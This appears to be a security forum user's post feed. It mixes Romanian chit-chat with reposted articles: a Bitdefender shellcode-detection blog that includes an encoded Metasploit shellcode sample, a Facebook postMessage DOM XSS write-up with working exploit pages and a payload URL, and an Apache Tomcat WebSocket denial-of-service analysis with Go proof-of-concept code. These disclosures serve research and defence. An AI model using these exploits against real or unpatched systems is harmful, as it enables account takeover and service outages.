Nytro

bdshemu: The Bitdefender shellcode emulator Nov 11, 2020 • Andrei Lutas Introduction Detecting exploits is one of the major strengths of Hypervisor Memory Introspection (HVMI). The ability to monitor guest physical memory pages against different kinds of accesses, such as write or execute, allows HVMI to impose restrictions on critical memory regions: for example, stack or heap pages can be marked as being non-executable at the EPT level, so when an exploit manages to gain arbitrary code execution, the introspection logic would step in and block the execution of the shellcode. In theory, intercepting execution attempts from memory regions such as the stack or the heap should be enough to prevent most of the exploits. Real life is often more complicated, and there are many cases where legit software uses techniques that may resemble on attack - Just In Time compilation (JIT) in browsers is one good example. In addition, an attacker may store its payload in other memory regions, outside the stack or the heap, so a method of discerning good code from bad code is useful. We will talk in this blog post about the Bitdefender Shellcode Emulator, or bdshemu for short. bdshemu is a library capable of emulating basic x86 instructions (in all modes - 16, 32 and 64 bit), while observing shellcode-like behavior. Legitimate code, such as JIT code, will look different compared to a traditional shellcode, so this is what bdshemu is trying to determine: whether the emulated code behaves like a shellcode or not. bdshemu Overview bdshemu is a library written in C, and is part of the bddisasm project (and of course, it makes use of bddisasm for instruction decoding). The bdshemu library is built to emulate x86 code only, so it has no support for API calls. In fact, the emulation environment is highly restricted and stripped down, and there are only two memory regions available: The page(s) containing the emulated code; The stack; Both of these memory regions are virtualized, meaning that they are in fact copies of the actual memory being emulated, so modifications made to them don’t affect the actual system state. Any access made by the emulated code outside of these two areas (which we will call the shellcode and the stack, respectively) will trigger immediate emulation termination. For example, an API call will automatically cause a branch outside the shellcode region, thus terminating emulation. However, in bdshemu, all we care about is instruction-level behavior of the code, which is enough to tell us whether the code is malicious or not. While bdshemu provides the main infrastructure for detecting shellcodes inside a guest operating-system, it is worth noting that this is not the only way HVMI determines that execution of a certain page is malicious - two other important indicators are used: The executed page is located on the stack - this is common with stack-based vulnerabilities; The stack is pivoted - when a page is first executed and the RSP register points outside the normal stack allocated for the thread; These two indicators are enough on their own to trigger an exploit detection. If these are not triggered, bdshemu is used to take a good look at the executed code, and decide if it should be blocked or not. bdshemu Architecture bdshemu is created as a standalone C library, and it only depends on bddisasm. Working with bdshemu is fairly simple, as just like bddisasm, it is a single-API library: SHEMU_STATUS ShemuEmulate( SHEMU_CONTEXT *Context ); The emulator expects a single SHEMU_CONTEXT argument, containing all the needed information in order to emulate the suspicious code. This context is split in two sections - input parameters and output parameters. The input parameters must be supplied by the caller, and they contain information such as the code to be emulated, or initial register values. The output parameters contain information such as what shellcode indicators bdshemu detected. All these fields are well documented in the source-code. Initially, the context is filled in with the following main information (please note that emulation outcome may change depending on the value of the provided registers and stack): Input registers, such as segments, general purpose registers, MMX and SSE registers; they can be left 0, if they are not known, or if they are irrelevant; Input code, which is the actual code to be emulated; Input stack, which can contain actual stack contents, or can be left 0; Environment info, such as mode (32 or 64 bit), or ring (0, 1, 2 or 3); Control parameters, such as minimum stack-string length, minimum NOP sled length or the maximum number of instructions that should be emulated; The main output parameter is the Flags field, which contains a list of shellcode indicators detected during the emulation. Generally, a non-zero value of this field strongly suggests that the emulate code is, in fact, a shellcode. bdshemu is built as a plain, quick and simple x86 instruction emulator: since it only works with the shellcode itself and a small virtual stack, it doesn’t have to emulate any architectural specifics - interrupts or exceptions, descriptor tables, page-tables, etc. In addition, since we only deal with the shellcode and stack memory, bdshemu does not do memory access checks, since it doesn’t even allow accesses to other addresses. The only state apart from the registers that can be accessed is the shellcode itself and the stack, and both are copies of the actual memory contents - the system state is never modified during the emulation, only the provided SHEMU_CONTEXT is. This makes bdshemu extremely fast, simple, and lets us focus on its main purpose: detecting shellcodes. As far as instruction support goes, bdshemu supports all the basic x86 instructions, such as branches, arithmetic, logic, shift, bit manipulation, multiplication/divison, stack access and data transfer instructions. In addition, it also has support for other instructions, such as some basic MMX or AVX instructions - PUNPCKLBW or VPBROADCAST are two good examples. bdshemu Detection Techniques In order to determine whether an emulated piece of code behaves like a shellcode, there are several indicators bdshemu uses. NOP Sled This is the classic presentation of shellcodes; since the exact entry point of the shellcode when gaining code execution may be unknown, attackers usually prepend a long sequence of NOP instructions, encoding 0x90. The parameters for the NOP-sled length can be controlled when calling the emulator, via the NopThreshold context field. The default value is SHEMU_DEFAULT_NOP_THRESHOLD, which is 75, meaning that minimum 75% of all the emulated instruction must be NOP. RIP Load Shellcodes are designed to work correctly no matter what address they’re loaded at. This means that the shellcode has to determine, dynamically, during runtime, the address it was loaded at, so absolute addressing can be replaced with some form of relative addressing. This is typically achieved by retrieving the value of the instruction pointer using well-known techniques: CALL $+5/POP ebp - executing these two instructions will result in the value of the instruction pointer being stored in the ebp register; data can then be accessed inside the shellcode using offsets relative to the ebp value; FNOP/FNSTENV [esp-0xc]/POP edi - the first instruction is any FPU instruction (not necessarily FNOP), and the second instruction, FNSTENV saves the FPU environment on the stack; the third instruction will retrieve the FPU Instruction Pointer from esp-0xc, which is part of the FPU environment, and contains the address of the last FPU executed - in our case, FNOP; from there on, addressing relative to the edi can be used to access shellcode data; Internally, bdshemu keeps track of all the instances of the instruction pointer being saved on the stack. Later loading that instruction pointer from the stack in any way will result in triggering this detection. Due to the way bdshemu keeps track of the saved instruction pointers, it doesn’t matter when, where or how the shellcode attempts to load the RIP in a register and use it, bdshemu will always trigger a detection. In 64 bit, RIP-relative addressing can be used directly, since the instruction encoding allows it. However, surprisingly, a large number of shellcodes still use a classic method of retrieving the instruction pointer (generally the CALL/POP technique), which is somehow weird, but it probably indicated that 32 bit shellcodes were ported to 64 bit with minimal modifications. Write Self Most often, shellcodes come in encoded or encrypted forms, in order to avoid certain bad characters (for example, 0x00 in a shellcode that should resemble a string may break the exploit) or to avoid detection by security technologies (for example, AV scanners). This means that during runtime, the shellcode must decode itself (usually in-place), by modifying its own contents, and then executing the plain-text code. Typical methods of decoding involve XOR or ADD based decryption algorithms. Certainly, bdshemu follows this kind of behavior, and keeps track internally of each modified byte inside the shellcode. Whenever the suspected shellcode writes any portion of itself, and then it executes it, the self-write detection will be triggered. TIB Access Once a shellcode has gained code execution, it needs to locate several functions inside various modules, in order to carry its actual payload (for example, downloading a file, or creating a process). On Windows, the most common way of doing this is by parsing the user-mode loader structures, in order to locate the addresses where the required modules were loaded, and then locate the needed functions inside these modules. The sequence of structures the shellcode will access is: The Thread Environment Block (TEB), which is located at fs:[0] (32 bit thread) or gs:[0] (64 bit thread); The Process Environment Block (PEB), which is located at TEB+0x30 (32 bit) or TEB+0x60 (64 bit) The Loader information (PEB_LDR_DATA), located inside PEB Inside the PEB_LDR_DATA, there are several lists which contain the loaded modules. The shellcode will iterate through these lists in order to locate the much needed libraries and functions. On each memory access, bdshemu will see if the shellcode tries to access the PEB field inside TEB. bdshemu will keep track of memory accesses even if they are made without the classic fs/gs segment prefixes - as long as an access to the PEB field inside TEB is identified, the TIB access detection will be triggered. Direct SYSCALL invocation Legitimate code will rely on several libraries in order to invoke operating system services - for example, in order to create a process, normal code would call one of the CreateProcess functions on Windows. It is uncommon for legitimate code to directly invoke a SYSCALL, since the SYSCALL interface may change over time. For this reason, bdshemu will trigger the SYSCALL detection whenever it sees that a suspected shellcode directly invokes a system service using the SYSCALL/SYSENTER/INT instructions. Stack Strings Another common way for shellcodes to mask their contents is to dynamically construct strings on the stack. This may eliminate the need to write Position Independent Code (PIC), since the shellcode would dynamically build the desired strings on the stack, instead of referencing them inside the shellcode as regular data. Typical ways of achieving this is by saving the string contents on the stack, and then reference the string using the stack pointer: push 0x6578652E push 0x636C6163 The code above would end up storing the string calc.exe on the stack, which can then be used as a normal string throughout the shellcode. For each value saved on the stack that resembles a string, bdshemu keeps track of the total length of the string constructed on the stack. Once the threshold indicated by the StrLength field inside the context is exceeded, the stack string detection will be triggered. The default value for this field is SHEMU_DEFAULT_STR_THRESHOLD, which is equal to 8, meaning that dynamically constructing a string equal to or longer than 8 characters on the stack will trigger this detection. bdshemu Detection Techniques for Kernel-Mode shellcodes While the above mentioned techniques are general and can be applied to any shellcode, on any operating system and on both 32 or 64 bit (except for the TIB access detection, which is Windows specific), bdshemu also has the capability of determining some kernel-specific shellcode behavior. KPCR Access The Kernel Processor Control Region (KPCR) is a per-processor structure on Windows systems that contains lots of information critical for the kernel, but which may be useful for an attacker as well. Commonly, the shellcode would wish to reference the currently executing thread, which can be retrieved by accessing the KPCR structure, at offset 0x124 on 32 bit systems and 0x188 on 64 bit systems. Just like the TIB access detection technique, bdshemu keeps track of memory accesses, and when the emulated code reads the current thread from the KPCR, it will trigger the KPCR access detection. SWAPGS execution SWAPGS is a system instruction that is only executed when transitioning from user-mode to kernel-mode and vice-versa. Sometimes, due to the specifics of certain kernel exploits, the attacker will end up needing to execute SWAPGS - for example, the EternalBlues kernel payload famously intercepted the SYSCALL handler, so it needed to execute SWAPGS when a SYSCALL took place, just like an ordinary system call would do. bdshemu will trigger the SWAPGS detection whenever it encounters the SWAPGS instruction being executed by a suspected shellcode. MSR read/write Some shellcodes (such as the aforementioned EternalBlue kernel payload) will have to modify the SYSCALL handler in order to migrate to a stable execution environment (for example, because the initial shellcode executes at a high IRQL, which needs to be lowered before calling useful routines). This is done by modifying the SYSCALL MSRs using the WRMSR instruction, and then waiting for a syscall to execute (which is at lower IRQL) to continue execution (this is also where the SWAPGS technique comes in handy, since SWAPGS must be executed after each SYSCALL on 64 bit). In addition, in order to locate the kernel image in memory, and, subsequently, useful kernel routines, a quick and easy technique is by querying the SYSCALL MSR (which normally points to the SYSCALL handler inside the kernel image), and then walk pages backwards until the beginning of the kernel image is found. bdshemu will trigger the MSR access detection whenever the suspected shellcode accesses the SYSCALL MSRs (both on 32 or 64 bit mode). Example The bdshemu project contains some synthetic test-cases, but the best way to demonstrate its functionality is by using real-life shellcodes. In this regard, Metasploit is remarkable at generating different kinds of payloads, using all kind of encoders. Let’s take the following shellcode as a purely didactic example: DA C8 D9 74 24 F4 5F 8D 7F 4A 89 FD 81 ED FE FF FF FF B9 61 00 00 00 8B 75 00 C1 E6 10 C1 EE 10 83 C5 02 FF 37 5A C1 E2 10 C1 EA 10 89 D3 09 F3 21 F2 F7 D2 21 DA 66 52 66 8F 07 6A 02 03 3C 24 5B 49 85 C9 0F 85 CD FF FF FF 1C B3 E0 5B 62 5B 62 5B 02 D2 E7 E3 27 87 AC D7 9C 5C CE 50 45 02 51 89 23 A1 2C 16 66 30 57 CF FB F3 9A 8F 98 A3 B8 62 77 6F 76 A8 94 5A C6 0D 4D 5F 5D D4 17 E8 9C A4 8D DC 6E 94 6F 45 3E CE 67 EE 66 3D ED 74 F5 97 CF DE 44 EA CF EB 19 DA E6 76 27 B9 2A B8 ED 80 0D F5 FB F6 86 0E BD 73 99 06 7D 5E F6 06 D2 07 01 61 8A 6D C1 E6 99 FA 98 29 13 2D 98 2C 48 A5 0C 81 28 DA 73 BB 2A E1 7B 1E 9B 41 C4 1B 4F 09 A4 84 F9 EE F8 63 7D D1 7D D1 7D 81 15 B0 9E DF 19 20 CC 9B 3C 2E 9E 78 F6 DE 63 63 FE 9C 2B A0 2D DC 27 5C DC BC A9 B9 12 FE 01 8C 6E E6 6E B5 91 60 F2 01 9E 62 B0 07 C8 62 C8 8C Saving this as a binary file as shellcode.bin and then viewing its contents yields a densely packed chunk of code, highly indicative of an encrypted shellcode: Using the disasmtool provided in the bddisasm project, one can use the -shemu option to run the shellcode emulator on the input. disasmtool -b32 -shemu -f shellcode.bin Running this on our shellcode will display step-by-step information about each emulated instruction, but because that trace is long, let’s jump directly to the end of if: Emulating: 0x0000000000200053 XOR eax, eax RAX = 0x0000000000000000 RCX = 0x0000000000000000 RDX = 0x000000000000ee00 RBX = 0x0000000000000002 RSP = 0x0000000000100fd4 RBP = 0x0000000000100fd4 RSI = 0x0000000000008cc8 RDI = 0x000000000020010c R8 = 0x0000000000000000 R9 = 0x0000000000000000 R10 = 0x0000000000000000 R11 = 0x0000000000000000 R12 = 0x0000000000000000 R13 = 0x0000000000000000 R14 = 0x0000000000000000 R15 = 0x0000000000000000 RIP = 0x0000000000200055 RFLAGS = 0x0000000000000246 Emulating: 0x0000000000200055 MOV edx, dword ptr fs:[eax+0x30] Emulation terminated with status 0x00000001, flags: 0xe, 0 NOPs SHEMU_FLAG_LOAD_RIP SHEMU_FLAG_WRITE_SELF SHEMU_FLAG_TIB_ACCESS We can see that the last emulated instruction is MOV edx, dword ptr fs:[eax+0x30], which is a TEB access instruction, but which also triggers emulation to be stopped, since it is an access outside shellcode memory (and remember, bdshemu will stop at the first memory access outside the shellcode or the stack). Moreover, this small shellcode (generated using Metasploit) triggered 3 detections in bdshemu: SHEMU_FLAG_LOAD_RIP - the shellcode loads the RIP inside a general-purpose register, to locate its position in memory; SHEMU_FLAG_WRITE_SELF - the shellcode descrypts itself, and then executes decrypted pieces; SHEMU_FLAG_TIB_ACCESS - the shellcode goes on to access the PEB, in order to locate important libraries and functions; These indicators are more than enough to conclude that the emulated code is, without a doubt, a shellcode. What’s even more awesome about bdshemu is that generally, at the end of the emulation, the memory will contain the decrypted form of the shellcode. disasmtool is nice enough to save the shellcode memory once emulation is done - a new file, named shellcode.bin_decoded.bin is created which now contains the decoded shellcode; let’s take a look at it: Looking at the decoded shellcode, one can immediately see not only that it is different, but that is plain text - a keen eye will quickly identify the calc.exe string at the end of the shellcode, hinting us that it is a classic calc.exe spawning shellcode. Conclusions We presented in this blog-post the Bitdefender shellcode emulator, which is a critical part of HVMI’s exploit detection technology. bdshemu is built to detect shellcode indicators at the binary-code level, without the need to emulate complex API calls, complex memory layout or complex architectural entities, such as page-tables, descriptor tables, etc. - bdshemu focuses on what matters most, emulating the instructions and determining if they behave like a shellcode. Due to its simplicity, bdshemu works for shellcodes aimed towards any operating system, as most of the detection techniques are specific to instruction-level behavior, instead of high level behavior such as API calls. In addition, it works on both 32 and 64 bit code, as well as with user or kernel specific code. Sursa: https://hvmi.github.io/blog/2020/11/11/bdshemu.html

Si oare nu au adus niste bani la buget cu ocazia asta? Sau bine, in buzunarele lor, cel putin partial.

Despre vacicnul Pfizer/Biontech https://recorder.ro/povestea-primului-vaccin-anti-covid-spusa-de-o-cercetatoare-romanca-din-germania/

Nu stiu daca se poate urmari prea usor pretul pe emag. La un moment dat m-am uitat la mai multe produse si mi-au bagat CAPTCHA. Eu am vazut un laptop la Black Friday cu pretul de 15000 RON, redus de la 18000 RON cica. Azi, dupa Black Friday era 14000 RON. Interesant.

Teoretic simplu, practic greut de pus in practica Eu am citit asta: https://blog.cloudflare.com/sad-dns-explained/

Era criptat? Daca da, e mai complicat, mai ales daca nu stii pattern. Poti sa incerci sa ii schimbi display-ul, adica sa ii iei placa de baza si sa o legi la un display care merge si sa speri sa fie OK.

Epic

Da, e ciudat. Cand mai comand de la alte firme, caut pe site-ul lor si daca pot comand de acolo. De cele mai multe ori e o diferenta de pret care altfel ar ajunge la emag.

Costa 5 dolari pe DigitalOcean.

Nu ma atrage nimic dar trebuie sa recunosc ca am gasit la emag mai multe produse (pe care le comandasem anterior) reduse. Nu cu foarte mult, dar reduse (15%-20%).

Da, nu mi se pare cine stie ce: https://s13emagst.akamaized.net/layout/ro/newsletter/2020_11_13_BF_blackout/

Am dat o tura prin lista de comenzi date la emag sa vad ce preturi au acum produsele si cu cate le-am luat eu. Sunt cateva ceva mai scumpe, dar majoritatea sunt putin mai ieftine (ceea ce are sens).

M-am uitat si eu pe diverse site-uri si nu am vazut nimic interesant. Adica reducere, fie ea si pe bune, de 200 RON la un pret de 1700 RON nu mi se pare chiar mare lucru. As prefera sa dau acei 200 RON si sa imi vina produsul in ziua urmatoare, nu in 2 saptamani. Din produsele de la emag pot spune ca acel scan de birou e redus pe bune, dar nu am urmarit alte produse si nu am idee cat de reduse sunt.

O sa fie inregistrata si voi publica ulterior (zilele urmatoare) prezentarile pe Youtube (probabil). Va trebui probabil sa "tai" fiecare prezentare ca cineva sa le poata vedea cum trebuie, deci nu stiu daca va merge direct in Zoom ca nu ar fi elegant asa la gramada.

Minim 50 de posturi pentru vanzare/cumparare.

Anunt important Toate informatiile legate de conferinta sunt disponibile pe site: https://rstcon.com/ Veti gasi lista de prezentari, speakerii, informatii legate de CTF (si premiile), evenimentele de pe Facebook si Linkedin precum si link-urile de inregistrare la conferinta (Zoom) si pe chat (Slack).

Salut, daca nu ai aplicatie binara, locala (la tine in PC) nu ai cum sa afli algoritmul, in cel mai bun caz poate fi ceva foarte simplu si sa ai noroc dar sunt sanse extrem de mici. Sunt miliarde de posibilitati de algoritmi in functie de ce i-a trecut prin cap celui care l-a gandit. Poate sa fie un numar secret care sa fie folosit, un hash algoritm combinat cu mai stiu eu ce salt, adunare/scadere/inmultire/impartire a cifrelor, poate chiar sa fie o baza de date cu mapare intre serial si PIN (deci sa nu fie niciun algoritm). Singura solutie ar fi sa iei radio-ul, sa il conectezi prin JTAG sau printr-un port serial la calculator si cumva sa ii extragi firmware-ul, probabil vei gasi algoritmul acolo. Dar pentru acest efort... mai bine iti iei alte 10 radio-uri.

NOVEMBER 7, 2020 BY QW Facebook DOM Based XSS using postMessage The first bug could have allowed a malicious user to send cross-origin messages via postMessage method from facebook.com domain. The vulnerable endpoint would accept user controlled content in the request parameters and construct an object with the data supplied to be send with postMessage to opener window. Then, another bug was found and then linked with the previous, this bug was that a script was unsafely constructing and submitting a form based on the data received in messages via an Eventlistener. 1) Sending messages via postMessage from facebook.com origin The vulnerable endpoint was https://www.facebook.com/payments/redirect.php . The response of this endpoint could be controlled by many parameters. I found an interesting one which is “type”. This parameter if changed from normally “i” to “rp” it would use postMessage for communication with the opener window ( for “i” it would use window.parent.PaymentsFlows.processIFrame). Attacker controls what being sent with postMessage method. Notice that the target origin was set to our.intern.facebook.com. From this i knew that the postMessage method was there to target or only be used by Facebook employees since our.intern.facebook.com domain is only “fully” accessible to them and for no-employees, it would redirect to www.facebook.com. I tried to bypass this for future usage by accessing the same endpoint in another domain which is our.alpha.facebook.com. In case of our.alpha.facebook.com/payments/redirect.php, it would return our.alpha.facebook.com as the targetOrigin of the postMessage. In the contrary of our.intern , our.alpha would not redirect to www. Notice that our.alpha.facebook.com domain has the same content as www.facebook.com. This would allow messages to opener window to pass-through since the targetOrigin condition would be fulfilled and messages would be sent to our.alpha.facebook.com. At this point, i knew that i should exploit this by looking for pages where interesting message EventListeners exists and which would only accept facebook.com subdomains in the message origin. Only accepting Facebook domains is a big hint that the data received in the message would be used to do something serious. I found a couple of interesting ones but i’ll only mention the one that got me DOM XSS. 2) The XSS Facebook Canvas Apps are served under apps.facebook.com. If you visit an app being served there, you’ll notice that Facebook would load an URL ( previously selected by the app owner ) inside an iframe and then a POST message would be sent to this URL with parameters like “signed_request”. Tracing what originated this request, i found that the page was loading “https://www.facebook.com/platform/page_proxy/?version=X” in an iframe too and then sending messages to it with postMessage ( I later found out that this endpoint was used before by another researcher to achieve a serious bug too). The page_proxy page contained this code: page_proxy source code This code would do two things. It would send a message with frameName via postMessage to any origin (This was used by Amol but now fixed by checking the frameName). The second thing is it would setup an EventListener and wait for messages. If a message is received and all conditions are fulfilled, it would submit a form after setting its attributes based on the data inside the message. What’s interesting about the form construction (submitForm method), is that the action attribute of the form is directly set to “a.data.params.appTabUrl” which is received in the message. The URL inside “appTabUrl” string wasn’t checked if it starts with http/https, for that we can use other schemes like javascript to achieve XSS! A payload that would construct an object that would fulfill all conditions in the page_proxy script would be something like this: https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1 OBJ: {“type”:”rp”,”name”:”_self”,”params”:{“appTabUrl”:”javascript:alert(1);”,”signedRequest”:”SIGNED_X”},”platformAppControllerGetFrameParamsResponse”:”1″} Exploit The victim should visit the attacker website which would have the following code. This would open another page in the attacker website and the current window would be the opener window. <html> <button class="button" onClick="window.open('https://attacker/page2.html', '_blank');document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';"> <span class="icon">Start Attack</span> </button> </html> Here we won’t redirect directly to page_proxy endpoint since we need to set a timeout to ensure that https://www.facebook.com/platform/page_proxy/ was loaded. page2.html: <html> <script> setTimeout(function(){ window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';} ,3000); </script> </html> Here we redirect to the vulnerable endpoint after the timeout. This would only execute alert(1) however the POC i sent would steal a first-party access_token which could be used to takeover the Facebook account. This was easy since we can simply read , for example, the response of an oauth flow to authorize a first-party Facebook application. Fix Facebook fixed this bug by completely removing the usage of postMessage in payments redirects ( /payments/redirect.php). Also, appTabUrl is now checked if it starts with https[ /^https:/.test(a.data.params.appTabUrl) ] Timeline Oct 10, 2020— Report Sent  Oct 10, 2020—  Acknowledged by Facebook Oct 10, 2020 — $25K in total including bonuses Awarded by Facebook (During BountyCon2020) Oct 28, 2020— Fixed by Facebook Sursa: https://ysamm.com/?p=493

Windows 10, iOS, Chrome, Firefox and Others Hacked at Tianfu Cup Competition November 08, 2020 Ravie Lakshmanan Multiple software products from Adobe, Apple, Google, Microsoft, Mozilla, and Samsung were successfully pwned with previously unseen exploits in Tianfu Cup 2020, the third edition of the international cybersecurity contest held in the city of Chengdu, China. "Many mature and hard targets have been pwned on this year's contest," the event organizers said. "11 out of 16 targets cracked with 23 successful demos." The hacking competition showed off hacking attempts against a number of platforms, including: Adobe PDF Reader Apple iPhone 11 Pro running iOS 14 and Safari browser ASUS RT-AX86U router CentOS 8 Docker Community Edition Google Chrome Microsoft Windows 10 v2004 Mozilla Firefox Samsung Galaxy S20 running Android 10 TP-Link TL-WDR7660 router VMware ESXi hypervisor The Tianfu Cup, analogous to Pwn2Own, was started in 2018 following a government regulation in the country that barred security researchers from participating in international hacking competitions because of national security concerns. The two-day event, which happened over the weekend, saw white hat hackers from 15 different teams using original vulnerabilities to break into widely used software and mobile devices in 5 minutes over three attempts. The idea, in a nutshell, is to use various web browsers to navigate to a remote URL or use a flaw in the software to control the browser or the underlying operating system. Qihoo 360's Enterprise Security and Government (ESG) Vulnerability Research Institute came out top with $744,500 in prize money, followed by Ant-Financial Light-Year Security Lab ($258,000) and a security researcher named Pang ($99,500). Patches for all the demonstrated bugs demonstrated are expected to be released in the coming days. Found this article interesting? Follow THN on Facebook, Twitter  and LinkedIn to read more exclusive content we post. Sursa: https://thehackernews.com/2020/11/windows-10-ios-chrome-firefox-and.html?utm_source=dlvr.it&utm_medium=twitter

Gata cu insultele, fiecare poate intelege ce vrea atat in legatura cu termenul "hacker" cat si de locurile in care acestia activeaza. De exemplu, parerea mea e simpla: nu prea mai exista hackeri. Iar prin hackeri sunt destul de sigur ca inteleg ceva diferit atat fata de voi cat si fata de persoane cu multi ani experienta in "security". Mai exact, pentru mine un hacker este o persoana care: - face research si descopera lucruri noi, tehnici in principiu - nu o face pentru bani (adica lucrand la o firma care il plateste sa faca research si sa il publice pentru reclama) - face public ceea ce descopera, gratuit (nu la o conferinta la care biletul costa 2000 de USD) Example: AlephOne care ne-a invatat pe toti ce e un buffer overflow, rainforestpuppy care ne-a invatat SQL Injection si multi altii. In prezent, nu prea mai exista, sau exista foarte putini. Asadar singurul hacker in viata ramane tot @black_death_c4t supranumit si "Hackerul de narghilea". Stiu ca voi va referiti la persoane care fac diverse lucruri, fie ilegale, fie la limita legalitatii pentru a obtine bani din activitatile sale. Eu mi-am spus parerea, voi aveti alte pareri, e normal, e un Internet liber si trebuie sa acceptam ca nu gandim cu totii la fel. Deci nu trebuie sa ii jignim pe cei care au o parere diferita de a noastra, nu e un domeniu in care unul sa aiba dreptate si altul nu, cu totii avem dreptate.

Da, e destul de nasol, mai ales ca se crede ca mutatia ar putea afecta generarea de anticorpi... Sa speram ca nu ajunge mai departe, cel putin mutatia asta. Oricum probabil vor mai aparea diverse mutatii, putem doar sa speram ca nu unele care sa il faca mai nasol.

2 November 2020 DIVING INTO A WEBSOCKET VULNERABILITY IN APACHE TOMCAT Share via: Apache Tomcat is a Java application server commonly used with web applications, which we often encounter in penetration tests. In this post we will dive into the analysis of a vulnerability in the Apache Tomcat server and an exploit which helped our customer to assess the risk on their business. The vulnerability is a denial-of-service vulnerability appearing in conjunction with WebSockets, and has been assigned CVE-2020-13935 . During penetration tests, we often see instances running outdated versions of Apache Tomcat. We classify software as “outdated” if a given version contains vulnerabilities for which the vendor (or maintainer) has released a corresponding security update. However, some vulnerabilities are only exploitable in certain scenarios and upgrading the web application server might be costly. Therefore, it is essential to have concise information to make an informed decision on whether the vulnerability affects a given product and whether an upgrade is worthwhile. Unfortunately, not all vendors/maintainers are transparent about security. The release notes for Apache Tomcat 9.0.37 show that a vulnerability has been found and patched in July 2020, stating the following: The payload length in a WebSocket frame was not correctly validated. Invalid payload lengths could trigger an infinite loop. Multiple requests with invalid payload lengths could lead to a denial of service. This information is quite vague, resulting in the following questions: What constitutes an invalid payload length? What kind of denial-of-service occurs? CPU or memory exhaustion? Maybe even a crash? Under which circumstances are applications vulnerable? When does Apache Tomcat parse WebSocket messages? What investment do attackers need to make? Does exploitation require a large amount of bandwidth or computing power? Are there possible workarounds for cases where an upgrade is not feasible? These questions can be answered with some analysis, and (among many other things) that is also part of our penetration tests. The Patch The Apache security team linked the corresponding patch for this vulnerability. The following code was added to java/org/apache/tomcat/websocket/WsFrameBase.java, fixing the vulnerability (reformatted for legibility): // The most significant bit of those 8 bytes is required to be zero // (see RFC 6455, section 5.2). If the most significant bit is set, // the resulting payload length will be negative so test for that. if (payloadLength < 0) { throw new WsIOException( new CloseReason( CloseCodes.PROTOCOL_ERROR, sm.getString("wsFrame.payloadMsbInvalid") ) ); } As we can see, the change consists of an additional check on the payload length field, which is of the type long, raising an exception if the value is negative. But how can a payload length be negative? In order to answer this question, let us take a look at the structure of a WebSocket frame, provided in the corresponding RFC: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-------+-+-------------+-------------------------------+ |F|R|R|R| opcode|M| Payload len | Extended payload length | |I|S|S|S| (4) |A| (7) | (16/64) | |N|V|V|V| |S| | (if payload len==126/127) | | |1|2|3| |K| | | +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - + | Extended payload length continued, if payload len == 127 | + - - - - - - - - - - - - - - - +-------------------------------+ | |Masking-key, if MASK set to 1 | +-------------------------------+-------------------------------+ | Masking-key (continued) | Payload Data | +-------------------------------- - - - - - - - - - - - - - - - + : Payload Data continued ... : + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | Payload Data continued ... | +---------------------------------------------------------------+ The first 16 bits of a frame contain several bit flags as well as a 7-bit payload length. If this payload length is set to 127 (binary 1111111), the chart indicates that a so-called extended payload length of 64 bit should be used. Additionally, the WebSocket RFC states: If [the 7-bit payload length is] 127, the following 8 bytes interpreted as a 64-bit unsigned integer (the most significant bit MUST be 0) are the payload length. It seems to be a peculiar choice that despite the field clearly being a 64-bit unsigned integer, the RFC additionally requires the most significant bit to be zero. Perhaps this choice was made to provide interoperability with signed implementations, however it may cause confusion. In this case it even led to a security vulnerability. Writing an Exploit In the following we will implement a proof-of-concept in Go. Why Go you might ask? Go is awesome ❤️ and built-in concurrency as well as good library support for WebSockets come in handy. Furthermore, we are able to cross-compile the PoC for any platform we need to. Let’s move along the specification and construct a WebSocket frame that has a negative payload length when parsed by Apache Tomcat. First, the values for the bit flags FIN, RSV1, RSV2 and RSV3 need to be chosen. FIN is used to indicate the final frame of a message. As the whole message that we want to send is contained in a single frame, we set this bit to one. The RSV bits are reserved for future use and extensions to the WebSocket specification, so they are all set to zero. The opcode field (4 bit) represents the type of the sent data. The value has to be valid, otherwise the frame would be dropped. In this case, we want to send a simple text payload, which requires this field to be set to the value 1. The Go library github.com/gorilla/websocket provides a constant for that which we will use. Now we can already construct the first byte of our malicious WebSocket frame: var buf bytes.Buffer fin := 1 rsv1 := 0 rsv2 := 0 rsv3 := 0 opcode := websocket.TextMessage buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode)) The first bit of the second byte is the MASK bit, which must be set to one in frames being sent from the client to the server. The interesting part is the payload length, which can vary in size. If the payload size of the WebSocket message doesn’t exceed 125 bytes, the length can be encoded directly in the 7-bit payload length field. For payload lengths between 126 and 65535, the 7-bit payload length field is set to the constant 126 and the payload length is encoded as a 16-bit unsigned integer in the next two bytes. For larger payloads, the 7-bit payload length field must be set to 127 and the next four bytes encode the payload length as an 64-bit unsigned integer. As discussed before, for the payload length being defined in 64 bits the most significant bit (MSB) must be set to zero according to the specification. To trigger the vulnerable code path in Apache Tomcat we need to specify a 64-bit payload length with the MSB set to one, so we set the 7-bit payload length field to 1111111: // always set the mask bit // indicate 64 bit message length buf.WriteByte(byte(1<<7 | 0b1111111)) In order to construct a frame with an invalid payload length, triggering the misbehavior in the Apache Tomcat implementation, we set the following eight bytes to 0xFF: // set msb to 1, violating the spec and triggering the bug buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) The following four bytes are the masking key. The specification requires this to be a random 32-bit value from a strong source of entropy, but as we violate the specification already, we just use a static masking key to make the code easier to read: // 4 byte masking key // leave zeros for now, so we do not need to mask maskingKey := []byte{0, 0, 0, 0} buf.Write(maskingKey) The actual payload itself can be smaller than the specified length: // write an incomplete message buf.WriteString("test") The assembly and transmission of our packet looks as follows. For good measure, we are keeping the connection open for 30 seconds after sending: ws, _, err := websocket.DefaultDialer.Dial(url, nil) if err != nil { return fmt.Errorf("dial: %s", err) } _, err = ws.UnderlyingConn().Write(buf.Bytes()) if err != nil { return fmt.Errorf("write: %s", err) } // keep the websocket connection open for some time 